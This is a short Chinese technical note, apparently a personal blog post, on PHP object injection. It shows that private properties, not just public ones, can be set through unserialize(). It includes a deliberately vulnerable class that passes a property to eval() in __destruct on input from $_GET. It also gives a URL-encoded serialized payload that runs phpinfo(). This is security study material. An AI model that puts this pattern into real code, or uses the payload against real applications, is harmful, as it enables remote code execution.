之前听漏洞银行的一个女生讲php反序列化。她说了一句。php反序列话找public变量。
导致我以为必须php反序列化。可控的变量必须是public or protected。private私有的变量不可以。
今天测试了一下。private变量也是也可以的。
class Test{ private $test; public function __construct($test) { $this->test = $test; } public function __destruct() { eval($this->test); } } $a = new Test('phpinfo();'); unserialize($_GET['a']);
payload:
class Test //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D { private $test; public function __construct($test){ $this->test = $test; } } $a = new Test('phpinfo();'); echo urlencode(serialize($a));
总结:
php反序列的时候可控的变量可以是:public、private、protected
其中php反序列化形成的关键
1、找危险函数的类
2、存在反序列化可控的变量
3、形成pop链(不一定都是变量覆盖,可以覆盖其方法。http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html)